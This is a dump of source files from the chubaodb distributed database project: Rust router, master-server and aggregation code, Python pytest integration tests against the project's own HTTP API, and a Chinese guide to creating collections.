headers={\"content-type\": \"application/json\"}, data=json.dumps({\n \"collection_id\": collection_id,\n \"partition_id\": partition_id,\n \"to_server\": to_server[\"addr\"]\n }))\n\n assert response.status_code == 200\n\n\ndef test_put():\n id = random.randint(1, 100000000)\n response = requests.post(\"http://\" + ROUTER + \"/put/t1/\"+str(id), data=json.dumps({\n \"name\": \"ansj\",\n \"age\": 35,\n \"content\": \"hello tig\"\n }))\n assert response.status_code == 200\n\n response = requests.get(\"http://\" + ROUTER + \"/get/t1/\"+str(id))\n assert response.status_code == 200\n\n\ndef test_multiple():\n for i in range(10):\n test_transfer()\n test_put()\n" }, { "alpha_fraction": 0.5894929766654968, "alphanum_fraction": 0.5949908494949341, "avg_line_length": 27.224138259887695, "blob_id": "48ea9cfc2d2e3a43366b3a939410f5b432fc496a", "content_id": "7dee16a2c7379211d00a4474651b5d5cdc48be82", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 1637, "license_type": "permissive", "max_line_length": 70, "num_lines": 58, "path": "/src/util/mod.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\npub mod coding;\npub mod config;\npub mod convert;\npub mod entity;\npub mod error;\npub mod http_client;\npub mod net;\npub mod time;\n\n#[macro_export]\nmacro_rules! sleep {\n ($x:expr) => {{\n std::thread::sleep(std::time::Duration::from_millis($x))\n }};\n}\n\n//println stack trace\npub fn stack_trace() {\n use log::Level::Debug;\n use log::{debug, log_enabled};\n\n if !log_enabled!(Debug) {\n return;\n }\n\n backtrace::trace(|frame| {\n // Resolve this instruction pointer to a symbol name\n backtrace::resolve_frame(frame, |symbol| {\n let line = format!(\n \"ERROR========= name:{:?} line:{:?}\",\n symbol.name(),\n symbol.lineno().unwrap_or(0)\n );\n\n if line.contains(\"chubaodb::\")\n && !line.contains(\"chubaodb::util::stack_trace\")\n && !line.contains(\"chubaodb::util::error::\")\n {\n debug!(\"{}\", line);\n }\n });\n\n true // keep going to the next frame\n });\n}\n" }, { "alpha_fraction": 0.5189873576164246, "alphanum_fraction": 0.5249999761581421, "avg_line_length": 27.727272033691406, "blob_id": "2fedbe9c749bd80c40691cc2871b25de861759a0", "content_id": "79bc107674494b7efec9abde5908380c4847fbaa", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 3160, "license_type": "permissive", "max_line_length": 91, "num_lines": 110, "path": "/src/router/service.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::client::ps_client::PsClient;\nuse crate::pserverpb::*;\nuse crate::util::{config::Config, error::*};\nuse std::sync::Arc;\n\npub struct RouterService {\n ps_client: PsClient,\n}\n\nimpl RouterService {\n pub async fn new(conf: Arc<Config>) -> ASResult<RouterService> {\n Ok(RouterService {\n ps_client: PsClient::new(conf),\n })\n }\n\n pub async fn write(\n &self,\n collection_name: String,\n id: String,\n sort_key: String,\n version: i64,\n source: Vec<u8>,\n wt: i32,\n ) -> ASResult<GeneralResponse> {\n self.ps_client\n .write(collection_name, id, sort_key, version, source, wt)\n .await\n }\n\n pub async fn get(\n &self,\n collection_name: String,\n id: String,\n sort_key: String,\n ) -> ASResult<DocumentResponse> {\n self.ps_client.get(collection_name, id, sort_key).await\n }\n\n pub async fn search(\n &self,\n collection_names: Vec<String>,\n def_fields: Vec<String>,\n query: String,\n vector_query: Option<VectorQuery>,\n size: u32,\n sort: Vec<Order>,\n ) -> ASResult<SearchDocumentResponse> {\n self.ps_client\n .search(\n collection_names[0].as_str(),\n QueryRequest {\n cpids: vec![],\n query: query,\n def_fields: def_fields,\n vector_query: vector_query,\n size: size,\n sort: sort,\n fun: Default::default(),\n group: Default::default(),\n },\n )\n .await\n }\n\n pub async fn agg(\n &self,\n collection_names: Vec<String>,\n def_fields: Vec<String>,\n query: String,\n vector_query: Option<VectorQuery>,\n size: u32,\n group: String,\n fun: String,\n sort: Vec<Order>,\n ) -> ASResult<AggregationResponse> {\n self.ps_client\n .agg(\n collection_names[0].as_str(),\n QueryRequest {\n cpids: vec![],\n query,\n def_fields,\n vector_query,\n size,\n group,\n fun,\n sort,\n },\n )\n .await\n }\n\n pub async fn count(&self, collection_name: String) -> ASResult<CountDocumentResponse> {\n self.ps_client.count(collection_name.as_str()).await\n }\n}\n" }, { "alpha_fraction": 0.5304012298583984, "alphanum_fraction": 0.5324401259422302, "avg_line_length": 30.07013511657715, "blob_id": "2047cd0a6653470ee4745ac332d0ab92d5cc04b5", "content_id": "7f58d3e25aa5282b9a87d34cfdae83726c64a138", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 13733, "license_type": "permissive", "max_line_length": 100, "num_lines": 442, "path": "/src/master/server.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::master::cmd::*;\nuse crate::master::graphql::{MasterSchema, Mutation, Query};\nuse crate::master::service::MasterService;\nuse crate::util::{config, entity::*, error::*};\nuse crate::*;\nuse actix_web::{guard, web, App, HttpRequest, HttpResponse, HttpServer};\nuse async_graphql::http::{playground_source, GQLResponse, GraphQLPlaygroundConfig};\nuse async_graphql::{EmptySubscription, Schema};\nuse async_graphql_actix_web::GQLRequest;\nuse log::{error, info, warn};\nuse serde::Serialize;\nuse serde_json::json;\nuse std::sync::{mpsc::Sender, Arc};\n\n#[actix_rt::main]\npub async fn start(tx: Sender<String>, conf: Arc<config::Config>) -> std::io::Result<()> {\n let http_port = match conf.self_master() {\n Some(m) => m.http_port,\n None => panic!(\"self not set in config \"),\n };\n\n let service = Arc::new(\n MasterService::new(conf.clone()).expect(format!(\"master service init err\").as_str()),\n );\n\n let schema = Schema::build(Query, Mutation, EmptySubscription)\n .data(service.clone())\n .finish();\n\n info!(\"master listening on http://0.0.0.0:{}\", http_port);\n HttpServer::new(move || {\n App::new()\n .data(service.clone())\n .data(schema.clone())\n .service(web::resource(\"/\").guard(guard::Post()).to(graphql))\n .service(web::resource(\"/\").guard(guard::Get()).to(graphiql))\n //admin handler\n .route(\"/my_ip\", web::get().to(my_ip))\n //pserver handler\n .route(\"/pserver/put\", web::post().to(update_pserver))\n .route(\"/pserver/list\", web::get().to(list_pservers))\n .route(\"/pserver/register\", web::post().to(register))\n .route(\"/pserver/get_addr_by_id\", web::get().to(get_addr))\n //collection handler\n .route(\"/collection/create\", web::post().to(create_collection))\n .route(\n \"/collection/delete/{collection_name}\",\n web::delete().to(del_collection),\n )\n .route(\n \"/collection/get/{collection_name}\",\n web::get().to(get_collection),\n )\n .route(\n \"/collection/get_by_id/{collection_id}\",\n web::get().to(get_collection_by_id),\n )\n .route(\"/collection/list\", web::get().to(list_collections))\n //collection partition handler\n .route(\n \"/partition/get/{collection_id}/{partition_id}\",\n web::get().to(get_partition),\n )\n .route(\n \"/collection/partition/list/{collection_name}\",\n web::get().to(list_partitions),\n )\n .route(\n \"/collection/partition/update\",\n web::post().to(update_partition),\n )\n .route(\n \"/collection/partition/transfer\",\n web::post().to(transfer_partition),\n )\n })\n .bind(format!(\"0.0.0.0:{}\", http_port))?\n .run()\n .await\n .unwrap();\n\n let _ = tx.send(String::from(\"master has over\"));\n\n Ok(())\n}\n\nasync fn graphql(\n schema: web::Data<MasterSchema>,\n gql_request: GQLRequest,\n) -> web::Json<GQLResponse> {\n web::Json(GQLResponse(gql_request.into_inner().execute(&schema).await))\n}\n\nasync fn graphiql() -> HttpResponse {\n HttpResponse::Ok()\n .content_type(\"text/html; charset=utf-8\")\n .body(playground_source(GraphQLPlaygroundConfig::new(\"/\")))\n}\n\nasync fn my_ip(req: HttpRequest) -> HttpResponse {\n let remote = req\n .connection_info()\n .remote()\n .to_owned()\n .unwrap()\n .to_string();\n let addr: Vec<&str> = remote.split(\":\").collect();\n\n success_response(json!({\n \"ip\":addr[0],\n }))\n}\n\nasync fn create_collection(rs: web::Data<Arc<MasterService>>, info: web::Bytes) -> HttpResponse {\n let info: Collection = match serde_json::from_slice(&info) {\n Ok(v) => v,\n Err(e) => {\n error!(\"create collection has err:{:?}\", e);\n return HttpResponse::build(Code::InternalErr.http_code())\n .body(err_def!(\"create collection has err:{:?}\", e).to_json());\n }\n };\n\n if info.name == \"\" {\n info!(\"collection name is none\");\n return HttpResponse::build(Code::InternalErr.http_code())\n .body(err_def!(\"collection name is none\").to_json());\n }\n\n if info.partition_num <= 0 {\n info!(\"partition_num:{} is invalid\", info.partition_num);\n return HttpResponse::build(Code::InternalErr.http_code())\n .body(err_def!(\"partition_num:{} is invalid\", info.partition_num).to_json());\n }\n\n if info.partition_replica_num == 0 {\n info!(\n \"partition_replica_num:{} is invalid\",\n info.partition_replica_num\n );\n return HttpResponse::build(Code::InternalErr.http_code()).body(\n err_def!(\n \"partition_replica_num:{} is invalid\",\n info.partition_replica_num\n )\n .to_json(),\n );\n }\n\n let name = info.name.clone();\n info!(\"prepare to create collection with name {}\", name);\n match rs.create_collection(info).await {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\n \"create collection failed, collection_name: {}, err: {}\",\n name, e\n );\n err_response(e)\n }\n }\n}\n\nasync fn del_collection(rs: web::Data<Arc<MasterService>>, req: HttpRequest) -> HttpResponse {\n let collection_name: String = req\n .match_info()\n .get(\"collection_name\")\n .unwrap()\n .parse()\n .unwrap();\n\n info!(\"prepare to delete collection by name {}\", collection_name);\n match rs.del_collection(collection_name.as_str()).await {\n Ok(s) => success_response(json!({\n \"success\":true,\n \"collection\":s\n })),\n Err(e) => {\n error!(\n \"delete collection failed, collection_name {}, err: {}\",\n collection_name,\n e.to_string()\n );\n err_response(e)\n }\n }\n}\n\nasync fn get_collection_by_id(rs: web::Data<Arc<MasterService>>, req: HttpRequest) -> HttpResponse {\n let collection_id: u32 = req\n .match_info()\n .get(\"collection_id\")\n .unwrap()\n .parse()\n .unwrap();\n\n info!(\"prepare to get collection by name {}\", collection_id);\n match rs.get_collection_by_id(collection_id) {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\n \"get collection failed, collection_id: {}, err: {}\",\n collection_id,\n e.to_string()\n );\n err_response(e)\n }\n }\n}\n\nasync fn get_collection(rs: web::Data<Arc<MasterService>>, req: HttpRequest) -> HttpResponse {\n let collection_name: String = req\n .match_info()\n .get(\"collection_name\")\n .unwrap()\n .parse()\n .unwrap();\n\n info!(\"prepare to get collection by name {}\", collection_name);\n match rs.get_collection(&collection_name) {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\n \"get collection failed collection_name: {}, err: {}\",\n collection_name,\n e.to_string()\n );\n err_response(e)\n }\n }\n}\n\nasync fn list_collections(rs: web::Data<Arc<MasterService>>) -> HttpResponse {\n info!(\"prepare to list collections\");\n match rs.list_collections() {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\"list collection failed, err: {}\", e.to_string());\n err_response(e)\n }\n }\n}\n\nasync fn update_pserver(\n rs: web::Data<Arc<MasterService>>,\n info: web::Json<PServer>,\n) -> HttpResponse {\n info!(\n \"prepare to update pserver with address {}, zone {}\",\n info.addr, info.zone\n );\n match rs.update_server(info.into_inner()) {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\"update server failed, err: {}\", e.to_string());\n err_response(e)\n }\n }\n}\n\nasync fn list_pservers(rs: web::Data<Arc<MasterService>>) -> HttpResponse {\n info!(\"prepare to list pservers\");\n match rs.list_servers() {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\"list pserver failed, err: {}\", e.to_string());\n err_response(e)\n }\n }\n}\n\nasync fn get_addr(rs: web::Data<Arc<MasterService>>, req: HttpRequest) -> HttpResponse {\n info!(\"prepare to get pservers addr by server id\");\n\n let server_id: u32 = req.match_info().get(\"server_id\").unwrap().parse().unwrap();\n match rs.get_server_addr(server_id) {\n Ok(s) => success_response(json!({ \"addr\": s })),\n Err(e) => {\n error!(\"list pserver failed, err: {}\", e.to_string());\n err_response(e)\n }\n }\n}\n\nasync fn register(rs: web::Data<Arc<MasterService>>, info: web::Json<PServer>) -> HttpResponse {\n let addr = info.addr.clone();\n let zone = info.zone.clone();\n info!(\"prepare to heartbeat with address {}, zone {}\", addr, zone);\n let mut ps = match rs.register(info.into_inner()) {\n Ok(s) => s,\n Err(e) => {\n error!(\n \"get server failed, zone:{}, server_addr:{}, err:{}\",\n zone,\n addr,\n e.to_string()\n );\n return err_response(e);\n }\n };\n\n let mut active_ids = Vec::new();\n\n for wp in ps.write_partitions {\n match rs.get_partition(wp.collection_id, wp.id) {\n Ok(dbc) => {\n if dbc.leader == ps.addr && dbc.version <= wp.version {\n active_ids.push(dbc);\n } else {\n warn!(\n \"partition not load because not expected:{:?} found:{:?}\",\n dbc, wp\n );\n }\n }\n Err(e) => {\n error!(\n \"pserver for collection:{} partition:{} get has err:{:?}\",\n wp.collection_id, wp.id, e\n );\n }\n }\n }\n\n ps.write_partitions = active_ids;\n\n success_response(ps)\n}\n\nasync fn get_partition(rs: web::Data<Arc<MasterService>>, req: HttpRequest) -> HttpResponse {\n let collection_id: u32 = req\n .match_info()\n .get(\"collection_id\")\n .unwrap()\n .parse()\n .unwrap();\n\n let partition_id: u32 = req\n .match_info()\n .get(\"partition_id\")\n .unwrap()\n .parse()\n .unwrap();\n\n info!(\n \"prepare to get partition by collection ID {}, partition ID {}\",\n collection_id, partition_id\n );\n\n match rs.get_partition(collection_id, partition_id) {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\n \"get partition failed, collection_id:{}, partition_id:{}, err:{}\",\n collection_id,\n partition_id,\n e.to_string()\n );\n err_response(e)\n }\n }\n}\n\nasync fn list_partitions(rs: web::Data<Arc<MasterService>>, req: HttpRequest) -> HttpResponse {\n let collection_name: String = req\n .match_info()\n .get(\"collection_name\")\n .unwrap()\n .parse()\n .unwrap();\n\n info!(\n \"prepare to list partitions with collection name {}\",\n &collection_name\n );\n\n match rs.list_partitions(&collection_name) {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\"list partition failed, err: {}\", e.to_string());\n err_response(e)\n }\n }\n}\n\nasync fn update_partition(\n rs: web::Data<Arc<MasterService>>,\n info: web::Json<Partition>,\n) -> HttpResponse {\n info!(\n \"prepare to update collection {} partition {} to {}\",\n info.collection_id, info.id, info.leader\n );\n match rs.update_partition(info.into_inner()).await {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\"update partition failed, err:{}\", e.to_string());\n err_response(e)\n }\n }\n}\n\nasync fn transfer_partition(\n rs: web::Data<Arc<MasterService>>,\n info: web::Json<PTransfer>,\n) -> HttpResponse {\n info!(\n \"prepare to transfer collection {} partition {} to {}\",\n info.collection_id, info.partition_id, info.to_server\n );\n match rs.transfer_partition(info.into_inner()).await {\n Ok(s) => success_response(s),\n Err(e) => {\n error!(\"transfer partition failed, err:{}\", e.to_string());\n err_response(e)\n }\n }\n}\n\nfn err_response(e: ASError) -> HttpResponse {\n return HttpResponse::build(e.code().http_code())\n .content_type(\"application/json\")\n .body(e.to_json());\n}\n\nfn success_response<T: Serialize + std::fmt::Debug>(result: T) -> HttpResponse {\n info!(\"success_response [{:?}]\", result);\n HttpResponse::build(Code::Success.http_code()).json(result)\n}\n" }, { "alpha_fraction": 0.5462150573730469, "alphanum_fraction": 0.5671969056129456, "avg_line_length": 32.14545440673828, "blob_id": "09e638f40033b6db8b3801580a25ecb3bb3d419a", "content_id": "24f694fb966e871f40c8d3e8b290c5412b56461d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7292, "license_type": "permissive", "max_line_length": 90, "num_lines": 220, "path": "/test/writer_test.py", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "import pytest\nimport requests\nimport json\nimport random\nimport config\nimport time\n\n\ndef test_del_collection():\n url = \"http://\" + config.MASTER + \"/collection/delete/t1\"\n response = requests.delete(url)\n print(\"collection_delete---\\n\" + response.text)\n\n assert response.status_code == 200 or response.status_code == 555\n\n\ndef test_create_collection():\n url = \"http://\" + config.MASTER + \"/collection/create\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": \"t1\",\n \"partition_num\": 1,\n \"partition_replica_num\": 1,\n \"fields\": [\n {\"string\": {\"name\": \"name\", \"array\": True, \"none\": False}},\n {\"int\": {\"name\": \"age\", \"none\": False}},\n {\"text\": {\"name\": \"content\", \"none\": False}}\n ]\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n time.sleep(5) # TODO: FIX ME wait raft ok\n\n\ndef test_put():\n url = \"http://\" + config.ROUTER + \"/put/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"sun\"],\n \"age\": 35,\n \"content\": \"hello tig\"\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"doc put ---\\n\" + response.text)\n assert response.status_code == 200\n\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"get---\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"doc\"][\"_version\"] == 1\n assert v[\"doc\"][\"_source\"][\"name\"] == [\"ansj\", \"sun\"]\n\n\ndef test_update():\n test_put()\n url = \"http://\" + config.ROUTER + \"/update/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"ansj\"],\n \"age\": 35,\n \"content\": \"hello tig\"\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"update---\\n\" + response.text)\n assert response.status_code == 200\n\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"doc\"][\"_source\"][\"name\"] == [\"ansj\", \"ansj\"]\n assert v[\"doc\"][\"_source\"][\"age\"] == 35\n assert v[\"doc\"][\"_version\"] == 2\n # diff update\n url = \"http://\" + config.ROUTER + \"/update/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"age\": 33\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"put---\" + response.text)\n assert response.status_code == 200\n # get doc\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"get--\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"doc\"][\"_version\"] == 3\n assert v[\"doc\"][\"_source\"][\"age\"] == 33\n\n\ndef test_delete():\n url = \"http://\" + config.ROUTER + \"/delete/t1/1\"\n print(url)\n response = requests.delete(url)\n print(\"delete---\" + response.text)\n assert response.status_code == 200 or response.status_code == 555\n\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"get---\" + response.text)\n assert response.status_code == 555\n\n\ndef test_create():\n test_delete()\n # first create\n url = \"http://\" + config.ROUTER + \"/create/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"sun\"],\n \"age\": 35,\n \"content\": \"hello tig\"\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"create---\\n\" + response.text)\n assert response.status_code == 200\n\n # second create\n url = \"http://\" + config.ROUTER + \"/create/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"sun\"],\n \"age\": 35,\n \"content\": \"hello tig\"\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"create---\\n\" + response.text)\n assert response.status_code == 550\n # get doc\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"get--\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"doc\"][\"_version\"] == 1\n\n\ndef test_upsert():\n test_delete()\n\n ####################################\n url = \"http://\" + config.ROUTER + \"/upsert/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"sun\"],\n \"age\": 35,\n \"content\": \"hello tig\"\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"upsert---\" + response.text)\n assert response.status_code == 200\n # find by id\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"get---\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"doc\"][\"_source\"][\"name\"] == [\"ansj\", \"sun\"]\n assert v[\"doc\"][\"_version\"] == 1\n # same upsert\n url = \"http://\" + config.ROUTER + \"/upsert/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"ansj\"],\n \"age\": 35,\n \"content\": \"hello tig\"\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"upsert---\" + response.text)\n assert response.status_code == 200\n # get doc\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"get ---\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"doc\"][\"_version\"] == 2\n assert v[\"doc\"][\"_source\"][\"name\"] == [\"ansj\", \"ansj\"]\n\n # diff upsert\n url = \"http://\" + config.ROUTER + \"/upsert/t1/1\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"sun\"],\n \"age\": 36\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"put---\" + response.text)\n assert response.status_code == 200\n # get doc\n response = requests.get(\"http://\"+config.ROUTER+\"/get/t1/1\")\n print(\"get--\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"doc\"][\"_version\"] == 3\n assert v[\"doc\"][\"_source\"][\"name\"] == [\"ansj\", \"sun\"]\n assert v[\"doc\"][\"_source\"][\"age\"] == 36\n assert v[\"doc\"][\"_source\"][\"content\"] == \"hello tig\"\n\n\ndef test_search():\n time.sleep(5)\n response = requests.get(\n \"http://\"+config.ROUTER+\"/search/t1?query=hello%20tig&size=10&def_fields=content\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"name\"] == [\"ansj\", \"sun\"]\n" }, { "alpha_fraction": 0.6633663177490234, "alphanum_fraction": 0.6633663177490234, "avg_line_length": 15.833333015441895, "blob_id": "700e1764e70291474c6c61ad10386d7eedbce99a", "content_id": "db0559dd237ea424792321e16dc90e0852339be1", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 107, "license_type": "permissive", "max_line_length": 22, "num_lines": 6, "path": "/docs/zh-CN/book.toml", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "[book]\nauthors = [\"AnsjSun\"]\nlanguage = \"cn\"\nmultilingual = false\nsrc = \"src\"\ntitle = \"chubaodb 白皮书\"\n" }, { "alpha_fraction": 0.5745577216148376, "alphanum_fraction": 0.7026116251945496, "avg_line_length": 18.799999237060547, "blob_id": "8501e7da513b77b2384a80501df247480368e578", "content_id": "30ccbe7d407d62c1b3526dbacc69cf344d40fd20", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1829, "license_type": "permissive", "max_line_length": 158, "num_lines": 60, "path": "/docs/zh-CN/src/collection.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# 库表管理\n\n下面我们会对`创建表`,`查询表`,`删除表` 进行演示。目前表结构一旦创建不支持修改。\n打开master的管理地址 http://127.0.0.1:7070\n\n### 创建表\n\n通过 `collectionCreate`接口进行创建\n\n![image-20200715112907536](image/image-20200715112907536.png)\n\n* Name 是表名称, \n* partitionNum 是这个表分多少个分片。分片多会提高插入的并发能力,但是会降低搜索效率,并非越多或者越少越好\n* partitionReplicaNum 是每个分片多少个副本。建议要么1,要么3+ 。在传统分布式系统环境,可以设置为3,单机版智能设置1.partitionReplicaNum 必须小于等于你的机器个数\n* Fields 是这个表里面的字段。我们提供了 `int`, `float`, `string`, `text`, `vector`, `date` 几种字段格式,注意 text 和string的区别是。text是全文检索,比如 `中国银行` 搜索`中国`是会被召回的, `string`的话必须输入完整的 匹配。\n\n\n\n下面我们创建一个人物表,包含 `ID`, `姓名`, `年龄` ,`生日` , `简介` ,`技能` 几个字段,\n\n````\nmutation{\n collectionCreate(\n name:\"person\", \n partitionNum:1, \n partitionReplicaNum:1\n \tfields:{\n int:[{name:\"age\", value:true }]\n string:[{name:\"name\" }, {name:\"skills\", value:true, array:true}]\n date:[{name:\"birthday\", value:true }]\n text:[{name:\"description\"}]\n }\n \n )\n}\n````\n\n![image-20200715115437856](image/image-20200715115437856.png)\n\n\n\n出现如下结构意味着创建表成功了。每种类型有自己的参数大家可以参阅iql的文档。\n\n\n\n### 查询表\n\n![image-20200715115617185](image/image-20200715115617185.png)\n\n\n\n\n\n删除表\n\n![image-20200715115703796](image/image-20200715115703796.png)\n\n\n\nok 你已经具备了元数据管理的基本技能。" }, { "alpha_fraction": 0.35218316316604614, "alphanum_fraction": 0.3586888611316681, "avg_line_length": 27.824626922607422, "blob_id": "7ca185c8caf54529633870e857f19502ad85eea5", "content_id": "18bd73ca94cad1703b91b64c90f9f6960352826d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 7993, "license_type": "permissive", "max_line_length": 97, "num_lines": 268, "path": "/src/pserver/simba/aggregation/function.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::pserver::simba::engine::rocksdb::RocksDB;\r\nuse crate::pserverpb::*;\r\nuse crate::util::{\r\n coding::{slice_f64, slice_i64, sort_coding::*},\r\n entity::{Field, ID_BYTES},\r\n error::*,\r\n};\r\nuse crate::*;\r\nuse log::error;\r\nuse std::sync::Arc;\r\n\r\n#[derive(Clone)]\r\npub enum Function {\r\n Count(Count),\r\n Stats(Stats),\r\n Hits(Hits),\r\n}\r\n\r\n//TODO: FIX it by into\r\nimpl Function {\r\n pub fn make_agg_value(&self, db: Option<&Arc<RocksDB>>) -> AggValue {\r\n match self {\r\n Function::Count(c) => AggValue {\r\n agg_value: Some(agg_value::AggValue::Count(c.result.clone())),\r\n },\r\n Function::Stats(s) => AggValue {\r\n agg_value: Some(agg_value::AggValue::Stats(s.result.clone())),\r\n },\r\n Function::Hits(h) => {\r\n if db.is_none() {\r\n return AggValue {\r\n agg_value: Some(agg_value::AggValue::Hits(h.result.clone())),\r\n };\r\n }\r\n\r\n let db = db.unwrap();\r\n\r\n let mut hits = Vec::with_capacity(h.result.hits.len());\r\n for hit in h.result.hits.iter() {\r\n let mut hit = hit.clone();\r\n match db.get_doc_by_id(&hit.doc) {\r\n Ok(v) => match v {\r\n Some(v) => {\r\n hit.doc = v;\r\n hits.push(hit);\r\n }\r\n None => error!(\"not found doc by id :{:?}\", &hit.doc),\r\n },\r\n Err(e) => error!(\"find doc by id :{:?} has err:{:?}\", &hit.doc, e),\r\n }\r\n }\r\n AggValue {\r\n agg_value: Some(agg_value::AggValue::Hits(AggHits {\r\n size: h.result.size as u64,\r\n count: h.result.count,\r\n hits: hits,\r\n })),\r\n }\r\n }\r\n }\r\n }\r\n}\r\n\r\nimpl Function {\r\n pub fn new(\r\n name: String,\r\n params: Vec<String>,\r\n collection_name: String,\r\n field: Field,\r\n ) -> ASResult<Function> {\r\n let fun = match name.as_str() {\r\n \"hits\" => {\r\n let hit_agg = match params.len() {\r\n 0 => Hits::new(collection_name, 20, field),\r\n 1 => Hits::new(\r\n collection_name,\r\n params[0].parse().map_err(|e| {\r\n err!(\r\n Code::ParamError,\r\n \"hits format not right, example hits(20) , example:{}\",\r\n e\r\n )\r\n })?,\r\n field,\r\n ),\r\n _ => {\r\n return result!(\r\n Code::ParamError,\r\n \"hits format not right, example hits(20) , param need number\"\r\n );\r\n }\r\n };\r\n Function::Hits(hit_agg)\r\n }\r\n \"stats\" => {\r\n let stats_agg = match params.len() {\r\n 1 => Stats::new(params[0].clone(), field),\r\n _ => {\r\n 